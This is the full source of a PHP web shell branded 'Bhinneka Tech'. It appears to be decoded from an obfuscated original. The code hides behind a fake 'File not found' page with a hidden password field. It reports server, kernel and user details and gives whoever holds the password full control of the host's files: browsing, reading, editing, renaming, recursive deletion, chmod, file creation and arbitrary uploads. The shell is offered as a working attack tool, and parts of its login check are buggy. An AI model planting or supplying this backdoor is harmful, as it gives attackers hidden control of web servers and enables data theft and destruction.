PHP Decode

?>b'<?php

//Author by xpl0dec - Bhinneka Tech
error_reporting(0);
$password = "3ff4d6b7e7820f237954c97b68eb406b"; //BhinnekaTech
$cookie_value = md5(substr(uniqid(\'\', true), -13));

if(isset($_COOKIE[\'auth_key\']) == $cookie_value) {
    echo "";
}else {
    if(md5($_POST[\'password\']) == $password) {
	    setcookie("auth_key", $cookie_value, time() + (3600 * 4), "/");
    }else {
	    loginShell();
    }
}

function info() {
  $arr = [
    \'ip\' => $_SERVER[\'SERVER_ADDR\'],
    \'host\' => gethostname(),
    \'kernel\' => php_uname(),
    \'disablefunc\' => ini_get(\'disable_functions\'),
    \'path\' => getcwd(),
    \'os\' => PHP_OS,
  ];  

  return $arr;
} 
$getInfo = info();

if(strtoupper(substr($getInfo[\'os\'], 0, 3)) == \'WIN\') {
  $getInfo[\'os\'] = \'Windows\';
  $paths = explode(\'\\', $getInfo[\'path\']);
  $paths = $paths[0] . \'/\';
}else if(strtoupper(substr($getInfo[\'os\'], 0, 3)) == \'LIN\') {
  $getInfo[\'os\'] = \'Linux\';
  $paths = \'/\';
}


$dir = getcwd();

if(isset($_GET[\'path\'])) {
	$replace = str_replace(\'\\', \'/\', $_GET[\'path\']);
	$replace = str_replace(\'//\', \'/\', $_GET[\'path\']);
	$pecah = explode(\'/\', $replace);
}else {
	$replace = str_replace(\'\\', \'/\', $dir);
	$pecah = explode(\'/\', $replace);
}

function loginShell() {
		if(!isset($_COOKIES[\'auth_key\'])) {
			echo "File not found.<br><form method=\'POST\'><input style=\'border: 0;\' name=\'password\' type=\'password\'></form>";
			die();
		}
}

function cekPermission($filenya) {

  $perms = fileperms($filenya);
  switch ($perms & 0xF000) {
    case 0xC000: // socket
        $info = \'s\';
        break;
    case 0xA000: // symbolic link
        $info = \'l\';
        break;
    case 0x8000: // regular
        $info = \'-\';
        break;
    case 0x6000: // block special
        $info = \'b\';
        break;
    case 0x4000: // directory
        $info = \'d\';
        break;
    case 0x2000: // character special
        $info = \'c\';
        break;
    case 0x1000: // FIFO pipe
        $info = \'p\';
        break;
    default: 
        $info = \'u\';
}

      //Untuk Owner
      $info .= (($perms & 0x0100) ? \'r\' : \'-\');
      $info .= (($perms & 0x0080) ? \'w\' : \'-\');
      $info .= (($perms & 0x0040) ?
                  (($perms & 0x0800) ? \'s\' : \'x\' ) :
                  (($perms & 0x0800) ? \'S\' : \'-\'));

      //Untuk Group
      $info .= (($perms & 0x0020) ? \'r\' : \'-\');
      $info .= (($perms & 0x0010) ? \'w\' : \'-\');
      $info .= (($perms & 0x0008) ?
                  (($perms & 0x0400) ? \'s\' : \'x\' ) :
                  (($perms & 0x0400) ? \'S\' : \'-\'));

      //Untuk Other
      $info .= (($perms & 0x0004) ? \'r\' : \'-\');
      $info .= (($perms & 0x0002) ? \'w\' : \'-\');
      $info .= (($perms & 0x0001) ?
                  (($perms & 0x0200) ? \'t\' : \'x\' ) :
                  (($perms & 0x0200) ? \'T\' : \'-\'));

      return $info;
}

function hitungSize($fileSize) {
	$bytes = sprintf(\'%u\', filesize($fileSize));

    if ($bytes > 0)
    {
        $unit = intval(log($bytes, 1024));
        $units = array(\'B\', \'KB\', \'MB\', \'GB\');

        if (array_key_exists($unit, $units) === true)
        {
            return sprintf(\'%d %s\', $bytes / pow(1024, $unit), $units[$unit]);
        }
    }

    return $bytes;
}

function bungkus($obj) {
	$wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
	return $wrap;
}

function deleteFolder($dirnya) {
	$files = array_diff(scandir($dirnya), array(\'.\', \'..\')); 

    foreach ($files as $file) { 
        (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file"); 
    }

    return rmdir($dirnya);
}

function uploadFile($fileSementara, $fileUpload) {
	$terupload = move_uploaded_file($fileSementara, $fileUpload);
	if($terupload) {
		return true;
	}else {
		return false;
	}
}

function folder_exist($folder)
{
    $path = realpath($folder);

    if($path !== false AND is_dir($path))
    {
        return true;
    }

    return false;
}


if(isset($_GET[\'path\'])) {
	$get = $_GET[\'path\'];
	$pec = explode(\'/\', $get);

	if(is_file($get)) {
		$konten = bungkus($get);
		$cek = true;
		$listDir = scandir($get);
	}else {
		$listDir = array_diff(scandir($get), [\'.\', \'..\']);
	}
}else {	
	$get = $replace;
	$listDir = array_diff(scandir($get), [\'.\', \'..\']);
}

if(isset($_POST[\'pilihan\'])) {
	switch ($_POST[\'pilihan\']) {
		case $_POST[\'pilihan\'] == \'edit\':
			$edit = true;
			$dirFile = $_POST[\'dir\'];
			$sourceFile = $_POST[\'sourceFile\'];
			if(!empty($sourceFile)){
				if(file_put_contents($dirFile, $sourceFile)) {
					$successEdit = \'Berhasil di edit\';
				}else {
					$successEdit = \'Gagal edit\';					
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'rename\':
			$rename = true;
			$dirFile = $_POST[\'dir\'];
			$filename = $_POST[\'namaFile\'];
			$namaBaru = $_POST[\'namaBaru\'];
			if(!empty($namaBaru)){
				if(rename($dirFile, $_GET[\'path\'] . \'/\' . $namaBaru)) {
					$filename = $namaBaru;
					$dirFile = $_GET[\'path\'] . \'/\' . $namaBaru;
					$successRename = \'Berhasil rename\';
				}else {
					$successRename = \'Gagal rename\';
				}
 			}
			break;
		case $_POST[\'pilihan\'] == \'delete\':
			$dirFile = $_POST[\'dir\'];
			$type = $_POST[\'type\'];
			if(isset($dirFile) && is_file($dirFile)) {
				if(unlink($dirFile)) {	
					$pesanHapus =  "<script>
									alert(\'File berhasil dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}else {
					$pesanHapus =  "<script>
									alert(\'File gagal dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}
			}else if(isset($dirFile) && is_dir($dirFile)) {
				//$dirFile = $dirFile . \'/\';
				if(deleteFolder($dirFile)) {
				    $pesanHapus =  "<script>
									alert(\'Folder berhasil dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}else {
					$pesanHapus =  "<script>
									alert(\'Folder gagal dihapus!!\');
									window.location.href = window.location.href;
								    </script>";
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'chmod\':
			$chmod = true;
			$file = fileperms($_POST[\'dir\']);
			$permission = substr(sprintf(\'%o\', $file), -4);
			$dirFile = $_POST[\'dir\'];
			$perms = octdec($_POST[\'perms\']);
			if(isset($_POST[\'perms\'])) {
				if(isset($perms)) {
					if(chmod($dirFile, $perms)) {
						$permission = decoct($perms);
						$successChmod =\'Berhasil chmod!\';
					}else {
						$successChmod = \'Gagal chmod!\';
					}
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'create\':
			$namaFile = "";
			$isiFile = "";

			$dirPath = $_GET[\'path\'] . \'/\';
			if(isset($_POST[\'createAction\'])) {
				$namaFile = $_POST[\'createName\'];
				$isiFile = ($_POST[\'createIsi\'] == NULL) ? \' \' : $_POST[\'createIsi\'];
				if(!file_exists($dirPath . $namaFile)) {
					if(file_put_contents($dirPath . $namaFile, $isiFile)) {
						$pesanCreate = \'File berhasil dibuat\';
					}else {
						$pesanCreate = \'Directory not Writable\';
					}
				}else {
					$pesanCreate = \'Nama file / folder sudah ada\';
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'createFolder\':
			$dirPath = $_GET[\'path\'] . \'/\';
			if(isset($_POST[\'createFolder\'])) {
				$namaFolder = $_POST[\'createName\'];
				if(mkdir($dirPath . $namaFolder)) {
					$pesanCreate = \'Folder berhasil dibuat\';
				}else {
					if(is_dir($namaFolder)) {
						$pesanCreate = \'Nama Folder / File sudah ada\';
					}elseif(!is_writable($dirPath)){
						$pesanCreate = \'Directory not writable\';
					}
				}
			}
			break;
		case $_POST[\'pilihan\'] == \'upload\':
			$path = $replace;
			if(isset($_GET[\'path\'])) {
				$path = $_GET[\'path\'];
			}

			if(!empty($_FILES)) {
				if(uploadFile($_FILES[\'uploadFile\'][\'tmp_name\'], $path . \'/\' . $_FILES[\'uploadFile\'][\'name\'])) {
					echo "<script>
						  alert(\'File berhasil diupload!!\');
						  window.location.href = window.location.href;
						  </script>";
				}else {
					echo "<script>
						  alert(\'File gagal diupload!!\');
						  window.location.href = window.location.href;
						  </script>";
				}
			}
			break;
	}
}



?>

<!DOCTYPE html>
<html>
<head>
	<title>Webshell Bhinneka Tech</title>
</head>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<meta name="viewport" content="width=1024">
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<style type="text/css">
	body {
		width: 100vw;
  		height: 100px;
		overflow-x: hidden !important;
	}
	.info {
		display: block;
		width: 100%;
	}
		
	table.striped > tbody > tr:nth-child(odd) {
		background-color: rgba(170, 213, 213, 0.5);
	}
	nav {
		background-color: #42a5f5;
	}
	.select-wrapper {
		position: relative;
		width: 100px;
		display: inline-block;
	}

	.file-field .btn, .file-field .btn-large, .file-field .btn-small {
		float: inherit;
		height: 3rem;
		line-height: 3rem;
	}

	.select-wrapper .caret {
		right: auto !important;
	}

	.select-wrapper input.select-dropdown {
		width: 50%;
	}

	textarea {
    	height: 50rem !important;
		overflow-y: scroll !important;
		height: 700px !important;
	}

	.maung {
		height: 700px !important;
	}

	table{
		width:100%;
		table-layout: fixed;
		overflow-wrap: break-word;
	}
	
	@media screen and (max-width: 732px) {
		.navbar-text {
			font-size: 25px !important;
			width: 280px !important;
		}
	}

</style>
<body>
	<div class="content">
	<nav>
       <div class="container">
	    <div class="nav-wrapper">
	      <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
	    </div>
	   </div>
  	</nav>

  	<div class="container" style="margin-top: 30px;">
        <b class="info">Server IP : <?= $getInfo[\'ip\']; ?></b>
        <b class="info">Hostname : <?= $getInfo[\'host\']; ?></b>
        <b class="info">Kernel : <?= $getInfo[\'kernel\']; ?></b>
        <b class="info">OS : <?= $getInfo[\'os\']; ?></b>
		<b class="info">USER : <?= get_current_user(); ?></b>
	</div>
	<br>	
	<?php if($cek){ ?>

<div class="container">
<div class="row">
	<div style="font-size: 17px;">
	<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
	</div>
    <form class="col s12">
      <div class="row">
        <div class="input-field col s12">
          <textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
        </div>
      </div>
    </form>
  </div>
 </div>
	<?php }else if($edit){ ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
		?>
		<?= !empty($successEdit) ? "<p class=\'blue-text text-darken-2\'>" . $successEdit . "</p>" : ""; ?>
		<form method="POST">
		<input type="hidden" name="dir" value="<?= $dirFile; ?>">
		<input type="hidden" name="pilihan" value="edit">
		<div class="row">
			<form class="col s12">
				<div class="input-field col s12">
				<textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
				<label for="textarea" class=\'active\'>Edit File</label>
				<button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
			</form>
		</div>
		</form>
		</div>
	<?php }else if($rename){ ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($successRename) ? "<p class=\'blue-text text-darken-2\'>" . $successRename . "</p>" : ""; ?>
		<form method="POST">
			<input type="hidden" name="dir" value="<?= $dirFile; ?>">
			<input type="hidden" name="pilihan" value="rename">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
			      <label class="active" for="rename">Input disini:</label>
			      <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
			    </div>
			  </div>			  
		</form>
		</div>
	<?php }else if($chmod) { ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($successChmod) ? "<p class=\'blue-text text-darken-2\'>" . $successChmod . "</p>" : \'\'; ?>
		<form method="POST">
			<input type="hidden" name="dir" value="<?= $dirFile; ?>">
			<input type="hidden" name="pilihan" value="chmod">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
			      <label class="active" for="chmod">Input disini:</label>
			      <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
			    </div>
			  </div>
		</form>
		</div>
	<?php }else if(isset($_GET[\'create\'])){ ?>
		<br>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($pesanCreate) ? "<p class=\'blue-text text-darken-2\'>" . $pesanCreate . "</p>" : ""; ?>
		<form method="POST">
			<input type="hidden" name="pilihan" value="create">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
			      <label class="active" for="createFile">Nama File</label>
			      <textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
			      <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
			    </div>
			  </div>
		</form>
		</div>
	<?php }else if(isset($_GET[\'createFolder\'])){ ?>
		<div class="container">
		<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
		<?= !empty($pesanCreate) ? "<p class=\'blue-text text-darken-2\'>" . $pesanCreate . "</p>" : ""; ?>
		<form method="POST">
			<input type="hidden" name="pilihan" value="createFolder">
			  <div class="row center-align">
			    <div class="input-field col s12">
			      <input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
			      <label class="active" for="createFolder">Nama Folder</label>
			      <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
			    </div>
			  </div>
		</form>
		</div>
	<?php }else{ ?>
   <div class="container">	
   <b class="info">
	 <a href="?create&path=<?= isset($_GET[\'path\']) ? $_GET[\'path\'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
	 <a href="?createFolder&path=<?= isset($_GET[\'path\']) ? $_GET[\'path\'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
	<br>
	<b class="info">
		 <form method="POST" enctype="multipart/form-data">
		    <div class="file-field input-field">
		      <div class="btn">
		        <span>File</span>
		        <input type="hidden" name="pilihan" value="upload">
		        <input type="hidden" name="dir" value="<?= $_GET[\'path\'] ?>">
		        <input type="file" name="uploadFile">
		      </div>
		      <div class="file-path-wrapper">
		        <input class="file-path validate" type="text" style="width: 300px">
		        <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
				</button>
		      </div>
		    </div>
  		</form>
	</b>
	<!-- <div style="font-size: 18px;"> -->
	<div class="row"><div class="col s12" style="font-size: 18px;">
	PATH:
	<?php   
				echo \'<a href="?path=\' . $paths . \'">\' . \'-\' . \'</a>\';
				for ($i = 1; $i < count($pecah); $i++) {
					$subpath = implode(\'/\', array_slice($pecah, 1, $i));
					echo \'/\';
					echo \'<a href="?path=/\' . urlencode($subpath) . \'">\' . $pecah[$i] . \'</a>\';
				}
				?>
	</div></div>
</div>

   <div class="container">	
	<table class="striped centered bordered">
		<?= !empty($pesanHapus) ? $pesanHapus : \'\'; ?>			
		<thead>	
		<tr>
			<th>Nama</th>
			<th>Size</th>
			<th>Permission</th>
			<th>Action</th>
		</tr>
		</thead>
		<?php foreach($listDir as $dir): ?>
		<tr>
			<td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", \'/\'], $get . \'/\' . $dir); ?>"><?= $dir; ?></a></td>
			<td><?= is_file($get . \'/\' . $dir) ? hitungSize($get . \'/\' . $dir) : \'Folders\'; ?></td>
			<td><?= is_writable($get . \'/\' . $dir) ? \'<font color="green">\' . @cekPermission($get . \'/\' . $dir) . \'</font>\' : \'<font color="red">\' . @cekPermission($get . \'/\' . $dir) . \'</font>\';?></td>
			<td>
				<?php if(is_file($get . \'/\' . $dir)): ?>
				<form method="POST" action="?set&path=<?= $get; ?>">
					<center>
					<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
						<option value="Select" disabled selected>Pilih</option>
						<option value="rename">Rename</option>
						<option value="edit">Edit</option>
						<option value="delete">Delete</option>
						<option value="chmod">Chmod</option>
					</select>
					</center>
					<input type="hidden" name="type" value="file">
					<input type="hidden" name="namaFile" value="<?= $dir; ?>">
					<input type="hidden" name="dir" value="<?= $get . \'/\' . $dir ?>">
					 <button class="btn waves-effect waves-light" type="submit" name="action">
					    <i class="material-icons right">send</i>
					 </button>
				</form>
				<?php else: ?>
				<form method="POST" action="?set&path=<?= $get; ?>">	
					<center>
					<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
						<option value="Select" disabled selected>Pilih</option>
						<option value="rename">Rename</option>
						<option value="delete">Delete</option>
						<option value="chmod">Chmod</option>
					</select>
					</center>
					<input type="hidden" name="type" value="folder">
					<input type="hidden" name="namaFile" value="<?= $dir; ?>">
					<input type="hidden" name="dir" value="<?= $get . \'/\' . $dir ?>">
					<button class="btn waves-effect waves-light" type="submit" name="action">
					    <i class="material-icons right">send</i>
					</button>
				</form>
				<?php endif; ?>
			</td>
		</tr>
		<?php endforeach; ?>
	</table>
</div>
	<?php } ?>
</div>

	<footer id="footer" style="margin-top: 100px;">

	</footer>

<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script> 

var footer = document.querySelector("footer");

function stopScrollAtFooter() {
    var footerHeight = footer.clientHeight;
    var contentHeight = document.body.scrollHeight;
    var scrollY = window.scrollY;

	if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
			window.scrollTo(0, contentHeight - window.innerHeight);
		}
	}

	window.addEventListener("scroll", stopScrollAtFooter);


	document.addEventListener(\'DOMContentLoaded\', function() {
    var elems = document.querySelectorAll(\'select\');
    var instances = M.FormSelect.init(elems, {});
  });
</script>
</body>
</html>'